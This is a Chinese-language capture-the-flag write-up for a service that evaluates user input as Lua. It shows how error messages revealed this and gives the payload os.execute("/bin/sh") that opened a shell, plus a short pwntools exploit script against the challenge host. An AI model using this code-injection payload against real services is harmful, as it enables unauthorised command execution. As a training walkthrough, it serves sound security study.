

通过开头可以猜测出这是Lua编写的脚本，其中还有一些字符串很像函数的名字。

2.输入help泄露出的函数名字。

writeline

```
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
writeline
lua Error: bad argument #1 to 'writeline' (string expected, got table)
```

io.open()

```
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
io.open()
lua Error: [string "return io.open()"]:1: bad argument #1 to 'open' (string expected, got no value)
```

通过错误信息可以得知程序将输入的字符串转化成相应的函数执行并返回结果。

3.确定了程序的功能后，输入lua脚本执行系统命令的语句。

```
os.execute("/bin/sh")
ls
bin
dev
flag
lib
lib64
run.sh
scripty
server.lua
server.luac
```

发现getshell了。

0x1 exp

```
from pwn import *
sh=remote('220.249.52.133','46664')
sh.recv()
sh.sendline('os.execute("/bin/sh")')
sh.interactive()
```